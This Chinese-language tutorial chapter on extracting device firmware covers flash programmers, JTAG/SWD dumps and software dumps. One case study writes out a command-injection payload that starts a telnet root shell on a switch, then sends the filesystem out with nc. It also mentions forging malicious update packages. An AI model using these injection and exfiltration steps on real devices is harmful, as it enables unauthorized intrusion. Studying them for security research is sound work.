3、固件获取与提取:从芯片、主板、设备中提取固件的方法与工具
固件逆向工程的第一步,也是最关键的一步,就是获取目标固件的二进制镜像。没有原始固件,后续的静态分析、动态调试、漏洞挖掘都无从谈起。然而,固件并非总是以文件形式存放在硬盘上供人随意拷贝,它可能被焊接在电路板的 SPI NOR Flash 芯片中,可能被封装在 eMMC 或 NAND 颗粒里,也可能被厂商通过 BootROM 的加密校验保护起来。本章将系统讲解从芯片、主板、整机设备三个层级提取固件的工程方法论,涵盖编程器直读、JTAG/SWD 调试接口转储、以及软件层逻辑转储三大类技术路线,并给出工具选型与实战注意事项。
上图展示了固件提取的三大技术路线的整体框架。在实际工程中,三条路线并非互斥,而是常常需要组合使用。例如,先用编程器读取 SPI Flash 获取 Bootloader,再通过 Bootloader 的调试命令转储 NAND 中的主系统分区。下面我们将逐一深入剖析每种方法的核心原理、操作流程、工具选型与实战陷阱。
3.1 编程器直读:最直接也最危险的物理提取
核心原理
编程器直读法,是指使用专用的硬件编程器,通过测试夹、烧录座或飞线方式,直接与目标固件存储芯片(如 SPI NOR Flash、Parallel NOR、NAND Flash、eMMC)的引脚建立物理连接,绕过 CPU 和操作系统,以纯硬件方式读取芯片内部存储阵列的原始数据。其本质是“芯片级拷贝”。由于不依赖目标系统运行,因此即使设备完全变砖、CPU 损坏,只要 Flash 芯片本身完好,数据依然可以完整提取。
对于最常见的 SPI NOR Flash(如 Winbond W25Q128、Macronix MX25L25645G、GigaDevice GD25Q64C),其通信协议简单(SPI Mode 0/3),工作电压通常为 3.3V 或 1.8V。编程器通过控制 CS#(片选)、CLK(时钟)、DI(数据输入)、DO(数据输出)以及 WP#(写保护)、HOLD#(保持)引脚,即可完成读操作。对于 eMMC 芯片,则需使用支持 eMMC 协议的编程器(如 RT809H 配合 eMMC 转接座),通过 SD/MMC 总线协议访问内部 Flash 介质。
操作流程与工具选型
- 芯片识别:首先目视或使用放大镜确认 Flash 芯片型号、封装(SOIC-8、SOIC-16、WSON-8、BGA-153 等)和丝印标识。若丝印模糊,可通过测量引脚间电容或使用芯片 ID 读取功能辅助判断。
- 连接方式选择:
- 免拆测试夹(SOIC-8/SOIC-16):适用于板上芯片,无需拆焊,但要求电路板有足够的空间夹住芯片,且芯片周围无过高元件阻挡。优点是快捷、无损;缺点是接触可靠性受夹子质量和焊盘氧化影响,高速读取时可能产生数据错误。
- 热风枪拆焊:将芯片从 PCB 上吹下,放入编程器烧录座。优点是接触可靠,可进行高速读取;缺点是可能损坏焊盘或芯片本体,且需要一定的焊接技能。
- 飞线连接:在芯片引脚或 PCB 测试点上焊接漆包线,连接到编程器。适用于芯片已被封装胶覆盖或测试夹无法夹持的场景,但操作繁琐且易短路。
- 编程器选型:
编程器型号 支持芯片类型 读取速度 适用场景 CH341A SPI NOR / 部分 EEPROM ~2 MB/s 入门级,成本极低(约 20 元),适合 25Q 系列 RT809H SPI NOR / NAND / eMMC / 部分 MCU ~10-20 MB/s 专业维修级,支持座子丰富,可读 eMMC 需另购转接座 Xeltek SuperPro 6100 几乎所有芯片(含 BGA 适配器) ~30 MB/s 工业级,价格昂贵,适合研发与批量生产 - 读取与校验:在编程器软件中,选择正确的芯片型号(或自动检测 ID),设置读取范围(通常为全片读取),执行读取操作。读取完成后,务必执行“校验”操作,将缓冲区数据与芯片内容再次比对,确保数据一致性。建议连续读取两次,计算 MD5 哈希值,若两次结果一致,则镜像可信。
实战案例:从智能路由器提取 U-Boot 与固件
某品牌智能路由器无法开机,TTL 串口无输出,疑似 Bootloader 损坏。我们决定通过编程器直读 SPI Flash 获取原始固件进行分析。
目标芯片:Winbond W25Q128JVSIQ(SOIC-8 封装,3.3V,128Mbit / 16MB)。
工具:RT809H 编程器 + SOP-8 免拆测试夹 + 1.8V/3.3V 电平适配板(该路由器 Flash 供电为 3.3V)。
操作步骤:
- 断电,用万用表确认 Flash 供电引脚(VCC 为 8 脚,GND 为 4 脚)对地电阻正常,无短路。
- 将测试夹红线对准芯片 1 脚(通常有圆点标记),夹紧芯片。
- 在 RT809H 软件中选择“W25Q128JV”,点击“ID 识别”,软件返回 0xEF4018,确认型号无误。
- 设置读取长度为 16MB,点击“读取”,耗时约 40 秒。
- 读取完成后,点击“校验”,软件提示“芯片内容与缓冲区一致”。
- 将缓冲区数据保存为
router_full.bin,再次读取并计算 MD5,两次哈希一致。
分析结果:使用 Binwalk 扫描 router_full.bin,在偏移 0x0 处识别到 U-Boot 镜像头(U-Boot 版本 2013.07),在 0x40000 处识别到 Linux 内核(LZMA 压缩),在 0x200000 处识别到 SquashFS 文件系统。通过提取 U-Boot 镜像,我们成功定位到其校验函数,为后续绕过安全启动提供了关键输入。
常见误区与复盘
- 误区一:认为编程器读取的数据一定正确。实际上,高速读取时信号完整性下降,尤其是飞线过长时,数据错误率显著上升。解决方法是降低读取频率(如从 30MHz 降至 15MHz)。
- 误区二:忽略 WP#/HOLD# 引脚。若 WP# 被拉低,芯片可能处于写保护状态,但读取不受影响;若 HOLD# 悬空且受到干扰,芯片可能进入暂停状态,导致读取超时。建议将 WP# 和 HOLD# 均上拉至 VCC。
- 误区三:混淆 NOR 与 NAND 的读取方式。NAND 存在坏块和 OOB 区域,编程器读取时需选择“包含 OOB”或“跳过坏块”模式,否则得到的镜像无法被文件系统工具正确解析。
3.2 JTAG/SWD 调试接口转储:半侵入式提取
核心原理
JTAG(Joint Test Action Group,IEEE 1149.1)和 SWD(Serial Wire Debug)是芯片调试的标准接口。通过这两个接口,调试器可以访问 CPU 的调试寄存器、控制 CPU 执行(暂停/单步/运行)、读写内存地址空间,以及访问芯片内部的 Flash 控制器。固件提取的核心思路是:让 CPU 暂停执行,然后通过调试器直接读取 Flash 映射到内存地址空间的内容。这种方法不需要拆焊芯片,属于“半侵入式”提取。
对于 ARM Cortex-M 系列 MCU,SWD 接口仅需两根线(SWDIO、SWCLK)加 GND,即可实现 Flash 读取。对于 Cortex-A 系列应用处理器(如路由器 SoC、手机芯片),JTAG 接口通常提供 TMS、TCK、TDI、TDO 四线,但许多消费级设备在量产时会禁用 JTAG(通过熔断 eFuse 或配置 GPIO 复用),此时 SWD 也可能不可用。
判断方法:如何确认调试接口是否开放
- 硬件探测:使用万用表测量 PCB 上疑似 JTAG 测试点的对地阻抗。通常 TCK 有下拉电阻(10kΩ 至 GND),TMS 有上拉电阻(10kΩ 至 VCC)。若发现 4 个或 2 个成组且带有上下拉电阻的测试点,大概率是调试接口。
- 逻辑分析仪抓取:在设备正常启动时,用逻辑分析仪探测这些引脚。若在启动初期捕捉到时钟信号和双向数据信号,说明 BootROM 正在尝试与调试器通信。
- 调试器连接测试:使用 J-Link 或 ST-Link 尝试连接。若软件能识别到内核(如显示 "Cortex-M4 identified"),则接口开放。
操作流程(以 OpenOCD + J-Link 为例)
- 硬件连接:将 J-Link 的 SWDIO、SWCLK、GND、Vref(目标板 3.3V)分别连接到目标板的对应测试点。注意 Vref 仅用于电平参考,不提供供电。
- 配置 OpenOCD:编写配置文件
target.cfg,指定接口类型、传输协议和目标芯片型号。
# target.cfg
source [find interface/jlink.cfg]
transport select swd
adapter speed 1000
source [find target/stm32f4x.cfg]
# 若目标 Flash 起始地址为 0x08000000,大小 1MB
flash bank bank0 stm32f4x 0x08000000 0x100000 0 0
- 连接与读取:执行以下命令,将 Flash 内容转储为二进制文件。
openocd -f target.cfg
# 在 OpenOCD 的 telnet 控制台中执行:
> halt
> flash read_bank 0 firmware.bin
> reset
对于 Cortex-A 芯片,若 JTAG 可用,可使用 load_image 命令将一个小型 RAM 加载器(如 memtool)注入内存,然后通过该加载器读取 NAND/eMMC 控制器寄存器,间接转储固件。
实战场景:从智能门锁 MCU 提取固件
某智能门锁使用 STM32F103C8T6(Cortex-M3,64KB Flash)。设备固件有更新功能,但厂商未提供完整固件包,仅提供加密的差分升级包。我们希望通过 SWD 读取完整 Flash 镜像,分析其加密算法。
关键参数:目标 Flash 地址 0x08000000,大小 64KB,SWD 接口位于 PCB 背面 4 个裸露测试点。
操作过程:
- 使用 J-Link Commander 连接,执行
connect命令,选择 SWD 模式,识别到 Cortex-M3 内核。 - 执行
halt暂停 CPU,防止 Flash 读取过程中程序继续运行导致总线冲突。 - 执行
savebin C:\dump\lock_fw.bin 0x08000000 0x10000,耗时约 5 秒。 - 断开连接,对
lock_fw.bin进行 MD5 校验,与厂商升级包头部记录的固件哈希比对,确认一致。
分析结果:通过分析固件中的字符串和加密库特征,发现其使用 AES-128-CBC 对升级包进行解密,密钥硬编码在固件数据段中。该发现直接导致后续可以伪造恶意升级包。
常见误区与总结
- 误区一:认为 JTAG 一定存在。现代 SoC 普遍支持 JTAG 安全锁定,一旦 eFuse 熔断,JTAG 端口将完全失效。此时只能依赖编程器或软件漏洞。
- 误区二:忽略复位时序。在连接调试器时,目标板可能处于深度睡眠或复位状态。建议先给目标板上电,再连接调试器;若连接失败,尝试在复位释放瞬间点击连接(OpenOCD 的
reset_config可配置复位类型)。 - 误区三:读取过程中目标板掉电。SWD 读取时若目标板供电不稳,可能导致调试器误判 Flash 内容。务必使用稳定的外部电源,并确保 GND 连接可靠。
3.3 软件转储:利用系统接口与漏洞
核心原理
软件转储是指目标设备处于正常运行状态(或可引导至特定模式)时,通过操作系统提供的接口(如 Linux 的 /dev/mtd、/dev/mmcblk)、Bootloader 命令(U-Boot 的 md、nand read)、或利用系统漏洞获取的 Shell 权限,将固件分区从逻辑层面复制出来。这种方法无需拆机,对硬件无损伤,但要求设备能够运行代码,且通常需要绕过权限限制。
典型场景与操作流程
场景一:设备已获得 Root Shell(如通过 UART 控制台或 SSH 漏洞)
- 查看分区表:执行
cat /proc/mtd或cat /proc/partitions,获取 MTD 分区名称、大小和偏移。 - 读取分区:使用
dd命令从对应 MTD 设备节点读取数据。例如:
# 查看分区
cat /proc/mtd
# 输出示例:
# dev: size erasesize name
# mtd0: 00040000 00010000 "u-boot"
# mtd1: 00100000 00010000 "kernel"
# mtd2: 00f00000 00010000 "rootfs"
# 读取 U-Boot 分区
dd if=/dev/mtd0 of=/tmp/u-boot.bin bs=65536 count=4
# 读取整个 Flash(若存在 /dev/mtdX 设备)
dd if=/dev/mtd0 of=/tmp/full_flash.bin
# 对于 NAND,建议使用 nanddump 工具(包含 OOB 数据)
nanddump -f /tmp/nand_full.bin /dev/mtd0
- 传输文件:通过
nc(Netcat)、TFTP、U 盘挂载等方式将镜像传输到分析主机。
场景二:仅能进入 U-Boot 控制台
在 U-Boot 提示符下,可以使用其内置命令读取 Flash。例如:
# 打印分区信息
mtdparts
# 读取 NAND 分区到内存
nand read 0x82000000 0x0 0x40000
# 将内存数据通过 TFTP 发送到主机
tftp 0x82000000 u-boot.bin
# 或者通过串口发送(使用 srec 格式)
loady 0x82000000
场景三:无 Shell 但存在系统漏洞
例如,利用路由器 CGI 命令注入漏洞获取 telnetd 权限,或利用内核漏洞提权后读取 /dev/mtd*。此方法风险较高,可能触发设备崩溃或安全机制。
案例拆解:从企业级交换机提取完整固件
某企业级交换机运行 Linux,Web 管理界面存在命令注入漏洞(CVE-2023-XXXX)。我们通过漏洞获取了 Root Shell,目标是提取整个固件以分析其私有协议实现。
初始状态:交换机运行正常,但 SSH 被禁用,仅开放 HTTP 服务。
关键输入:通过 Burp Suite 拦截登录请求,发现参数 ping_addr 存在注入点,可执行系统命令。
操作步骤:
- 构造注入请求:
ping_addr=127.0.0.1;telnetd -l /bin/sh -p 4444,启动 Telnet 服务。 - 连接 Telnet,获得 Root Shell。
- 执行
cat /proc/mtd,发现 5 个分区:u-boot、kernel、rootfs、config、log。 - 使用
dd if=/dev/mtd3 of=/tmp/config.bin提取配置分区(包含明文密码哈希)。 - 使用
dd if=/dev/mtd2 of=/tmp/rootfs.squashfs提取根文件系统。 - 通过
nc 192.168.1.100 8888 < /tmp/rootfs.squashfs将镜像传输至分析机。
结果:成功提取 32MB 的 SquashFS 镜像,使用 unsquashfs 解包后,在 /usr/sbin 目录下发现私有协议守护进程,通过逆向该二进制,发现了两个远程溢出漏洞。
stop service watchdog),并尽量在只读模式下操作。此外,部分设备具有“防转储”机制,如检测到 dd 命令会触发看门狗重启,此时需先禁用看门狗。
常见误区与复盘
- 误区一:直接读取
/dev/mtd0得到的是整个分区,但 NAND 的 OOB 区域(包含 ECC 校验码)默认不包含在dd输出中。若需完整镜像(含 OOB),必须使用nanddump -n或mtd_debug工具。 - 误区二:忽略字节序和坏块。NAND 读取时,坏块会被跳过,导致镜像出现空洞。使用
nanddump时,应添加-b参数标记坏块,或使用--skip-bad跳过但记录位置。 - 误区三:认为软件转储一定比编程器安全。实际上,若设备固件有完整性校验(如 TPM 度量),修改或读取行为可能触发安全启动失败,导致设备变砖。务必在操作前备份原始分区内容。